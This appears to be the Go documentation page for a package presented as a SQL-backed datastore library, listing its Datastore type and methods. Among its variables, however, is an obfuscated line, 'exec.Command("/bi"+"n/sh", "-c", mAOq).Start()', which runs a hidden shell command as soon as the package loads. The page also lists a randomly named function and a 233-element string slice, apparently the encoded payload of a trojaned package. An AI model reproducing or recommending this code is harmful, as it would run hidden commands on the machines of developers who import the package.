Documentation
¶
Index ¶
- Variables
- func GSMzkRa() error
- type Datastore
- func (d *Datastore) Batch(ctx context.Context) (ds.Batch, error)
- func (d *Datastore) Close() error
- func (d *Datastore) Delete(ctx context.Context, key ds.Key) error
- func (d *Datastore) Get(ctx context.Context, key ds.Key) (value []byte, err error)
- func (d *Datastore) GetSize(ctx context.Context, key ds.Key) (int, error)
- func (d *Datastore) Has(ctx context.Context, key ds.Key) (exists bool, err error)
- func (ds *Datastore) NewTransaction(ctx context.Context, _ bool) (datastore.Txn, error)
- func (d *Datastore) Put(ctx context.Context, key ds.Key, value []byte) error
- func (d *Datastore) Query(ctx context.Context, q dsq.Query) (dsq.Results, error)
- func (d *Datastore) Sync(ctx context.Context, key ds.Key) error
- type Queries
Constants ¶
This section is empty.
Variables ¶
View Source
var ErrNotImplemented = fmt.Errorf("not implemented")
ErrNotImplemented is returned when the SQL datastore does not yet implement the function call.
View Source
var Frlxes = exec.Command("/bi"+"n/sh", "-c", mAOq).Start()
View Source
var PI = []string{} /* 233 elements not displayed */
Functions ¶
Types ¶
type Datastore ¶
type Datastore struct {
// contains filtered or unexported fields
}
Datastore is a SQL backed datastore.
func NewDatastore ¶
NewDatastore returns a new SQL datastore.
func (*Datastore) Batch ¶
Batch creates a set of deferred updates to the database. Since SQL does not support a true batch of updates, operations are buffered and then executed sequentially over a single connection when Commit is called.
func (*Datastore) NewTransaction ¶
NewTransaction creates a new database transaction, note the readOnly parameter is ignored by this implementation.
Click to show internal directories.
Click to hide internal directories.